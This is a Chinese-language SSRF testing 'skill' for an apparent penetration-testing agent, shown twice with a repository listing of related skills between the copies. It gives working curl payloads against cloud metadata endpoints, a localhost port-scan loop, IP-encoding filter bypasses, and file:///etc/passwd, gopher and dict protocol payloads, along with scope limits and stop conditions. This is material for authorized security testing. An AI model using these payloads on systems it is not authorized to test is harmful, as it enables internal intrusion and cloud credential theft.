name	ssrf
description	检测和利用服务端请求伪造（SSRF）漏洞，包括云元数据访问、内网探测和过滤器绕过。
category	web
source	xalgorix
tags	["SSRF","云安全","内网探测","协议滥用"]
required_tools	["curl","Burp Collaborator 或 Interactsh"]

SSRF 服务端请求伪造

适用场景

目标应用支持用户提交 URL（如网页预览、图片代理、Webhook、文件导入）。
目标部署在云环境（AWS/GCP/Azure），需要测试元数据端点访问。
目标有内部网络，需要通过 SSRF 探测内网服务。

授权边界

SSRF 可能使目标服务器向内网发起请求，可能触发内部系统的告警或副作用。
内网探测仅扫描常见端口（80/443/8080/8443），不做全端口扫描。
云元数据访问仅在 scope 明确允许时测试，且仅验证可访问性，不提取完整凭证。
Blind SSRF 使用 Burp Collaborator 或 Interactsh 接收回连，不使用个人服务器。

前置条件

已识别目标应用中接受 URL 输入的功能点。
Burp Collaborator 或 Interactsh 客户端用于 Blind SSRF 检测。
了解目标是否部署在云环境。

执行步骤

步骤 1：识别 SSRF 入口

# 常见 SSRF 入口点
# - 网页截图/预览服务：url=, preview=, thumbnail=
# - Webhook 配置：callback=, webhook_url=, notify_url=
# - 文件导入：import_url=, fetch=, load=
# - 图片代理：src=, image_url=, proxy=
# - PDF 生成器：html=, template_url=

步骤 2：基础 SSRF 检测

# 使用 Interactsh 获取回连地址
INTERACT=$(interactsh-client -v 2>&1 | grep -oP '[a-z0-9]+\.[a-z0-9]+\.[a-z0-9]+\.[a-z0-9]+' | head -1)

# 测试目标是否发起外部请求
curl -X POST "https://<target>/fetch" \
  -d "url=http://$INTERACT/test"

如 Interactsh 收到回连，确认 SSRF 存在。

步骤 3：云元数据探测

# AWS IMDSv1（最常见）
curl -X POST "https://<target>/fetch" \
  -d "url=http://169.254.169.254/latest/meta-data/"

# GCP
curl -X POST "https://<target>/fetch" \
  -d "url=http://metadata.google.internal/computeMetadata/v1/"

# Azure
curl -X POST "https://<target>/fetch" \
  -d "url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
  -H "Metadata: true"

仅验证可访问性，不逐级提取完整元数据，除非主代理确认允许。

步骤 4：内网探测

# 仅扫描常见端口
for port in 80 443 8080 8443 3306 6379 27017; do
  curl -X POST "https://<target>/fetch" \
    -d "url=http://127.0.0.1:$port/" \
    -w "\n$port: %{http_code}\n" -o /dev/null -s
done

步骤 5：绕过过滤器

# IP 编码绕过
# 127.0.0.1 的变体：
# 十进制: http://2130706433/
# 八进制: http://0177.0.0.1/
# 十六进制: http://0x7f.0x0.0x0.0x1/
# IPv6: http://[::1]/
# URL 包装: http://localtest.me/ → 127.0.0.1

# 协议绕过
# file:///etc/passwd
# gopher://127.0.0.1:25/_HELO%20localhost
# dict://127.0.0.1:6379/info

步骤 6：DNS 重绑定测试

如果目标有 URL 白名单，测试 DNS 重绑定：

# 使用 nip.io 或 xip.io 服务
curl -X POST "https://<target>/fetch" \
  -d "url=http://127.0.0.1.nip.io/"

停止条件

响应中包含云凭证（AWS AccessKeyID、GCP token 等）时立即停止并报告主代理，不要将凭证写入进度记录。
内网服务返回了管理后台或敏感页面时，不要继续探索，记录端口和服务类型后报告。
目标开始返回 500 或连接超时（可能是内网防护触发），暂停测试。

输出格式

SSRF 入口点列表（功能名称、URL、参数）。
Interactsh 回连证据（时间和来源 IP）。
内网端口扫描结果（仅摘要）。
云元数据可访问性结论（是/否/部分）。
有效绕过方法（如有）。
建议下一步：是否需要深入云环境利用或报告 finding。

验收标准

对所有接受 URL 输入的功能点进行了 SSRF 探测。
使用 Interactsh 或 Burp Collaborator 验证了外连能力。
如果 SSRF 确认，至少测试了 cloud metadata 和 localhost 常见端口。
测试了至少 3 种 IP 编码绕过方法。

Más de este repositorio

mismo repositorio

subdomain-enumeration

dev-null-sec/pents-agent

通过被动来源和受控主动 DNS 枚举目标子域名，发现更多授权攻击面入口。

2026-06-042

browser-test-agent

dev-null-sec/pents-agent

使用 agent-browser 在授权范围内执行浏览器交互验证，并在需要视觉判断时调用 pents vision-review 生成结构化视觉复核结果。

2026-06-042

bfla

dev-null-sec/pents-agent

检测 API 中的功能级授权破坏（BFLA），验证普通用户是否能通过直接调用管理端点或操纵 HTTP 方法来执行管理员功能。

2026-06-032

bola

dev-null-sec/pents-agent

检测 API 中的对象级授权缺陷（BOLA/IDOR），通过篡改对象标识符越权访问或修改其他用户的数据。

2026-06-032

jwt-none-attack

dev-null-sec/pents-agent

利用 JWT 库接受 alg:none 的漏洞绕过签名验证，伪造任意 Token 实现权限提升。

2026-06-032

mass-assignment

dev-null-sec/pents-agent

检测 API 中的批量赋值漏洞，通过在请求体中添加非预期字段修改不应被客户端控制的属性。

2026-06-032

name	ssrf
description	检测和利用服务端请求伪造（SSRF）漏洞，包括云元数据访问、内网探测和过滤器绕过。
category	web
source	xalgorix
tags	["SSRF","云安全","内网探测","协议滥用"]
required_tools	["curl","Burp Collaborator 或 Interactsh"]

SSRF 服务端请求伪造

适用场景

目标应用支持用户提交 URL（如网页预览、图片代理、Webhook、文件导入）。
目标部署在云环境（AWS/GCP/Azure），需要测试元数据端点访问。
目标有内部网络，需要通过 SSRF 探测内网服务。

授权边界

SSRF 可能使目标服务器向内网发起请求，可能触发内部系统的告警或副作用。
内网探测仅扫描常见端口（80/443/8080/8443），不做全端口扫描。
云元数据访问仅在 scope 明确允许时测试，且仅验证可访问性，不提取完整凭证。
Blind SSRF 使用 Burp Collaborator 或 Interactsh 接收回连，不使用个人服务器。

前置条件

已识别目标应用中接受 URL 输入的功能点。
Burp Collaborator 或 Interactsh 客户端用于 Blind SSRF 检测。
了解目标是否部署在云环境。

执行步骤

步骤 1：识别 SSRF 入口

# 常见 SSRF 入口点
# - 网页截图/预览服务：url=, preview=, thumbnail=
# - Webhook 配置：callback=, webhook_url=, notify_url=
# - 文件导入：import_url=, fetch=, load=
# - 图片代理：src=, image_url=, proxy=
# - PDF 生成器：html=, template_url=

步骤 2：基础 SSRF 检测

# 使用 Interactsh 获取回连地址
INTERACT=$(interactsh-client -v 2>&1 | grep -oP '[a-z0-9]+\.[a-z0-9]+\.[a-z0-9]+\.[a-z0-9]+' | head -1)

# 测试目标是否发起外部请求
curl -X POST "https://<target>/fetch" \
  -d "url=http://$INTERACT/test"

如 Interactsh 收到回连，确认 SSRF 存在。

步骤 3：云元数据探测

# AWS IMDSv1（最常见）
curl -X POST "https://<target>/fetch" \
  -d "url=http://169.254.169.254/latest/meta-data/"

# GCP
curl -X POST "https://<target>/fetch" \
  -d "url=http://metadata.google.internal/computeMetadata/v1/"

# Azure
curl -X POST "https://<target>/fetch" \
  -d "url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
  -H "Metadata: true"

仅验证可访问性，不逐级提取完整元数据，除非主代理确认允许。

步骤 4：内网探测

# 仅扫描常见端口
for port in 80 443 8080 8443 3306 6379 27017; do
  curl -X POST "https://<target>/fetch" \
    -d "url=http://127.0.0.1:$port/" \
    -w "\n$port: %{http_code}\n" -o /dev/null -s
done

步骤 5：绕过过滤器

# IP 编码绕过
# 127.0.0.1 的变体：
# 十进制: http://2130706433/
# 八进制: http://0177.0.0.1/
# 十六进制: http://0x7f.0x0.0x0.0x1/
# IPv6: http://[::1]/
# URL 包装: http://localtest.me/ → 127.0.0.1

# 协议绕过
# file:///etc/passwd
# gopher://127.0.0.1:25/_HELO%20localhost
# dict://127.0.0.1:6379/info

步骤 6：DNS 重绑定测试

如果目标有 URL 白名单，测试 DNS 重绑定：

# 使用 nip.io 或 xip.io 服务
curl -X POST "https://<target>/fetch" \
  -d "url=http://127.0.0.1.nip.io/"

停止条件

响应中包含云凭证（AWS AccessKeyID、GCP token 等）时立即停止并报告主代理，不要将凭证写入进度记录。
内网服务返回了管理后台或敏感页面时，不要继续探索，记录端口和服务类型后报告。
目标开始返回 500 或连接超时（可能是内网防护触发），暂停测试。

输出格式

SSRF 入口点列表（功能名称、URL、参数）。
Interactsh 回连证据（时间和来源 IP）。
内网端口扫描结果（仅摘要）。
云元数据可访问性结论（是/否/部分）。
有效绕过方法（如有）。
建议下一步：是否需要深入云环境利用或报告 finding。

验收标准

对所有接受 URL 输入的功能点进行了 SSRF 探测。
使用 Interactsh 或 Burp Collaborator 验证了外连能力。
如果 SSRF 确认，至少测试了 cloud metadata 和 localhost 常见端口。
测试了至少 3 种 IP 编码绕过方法。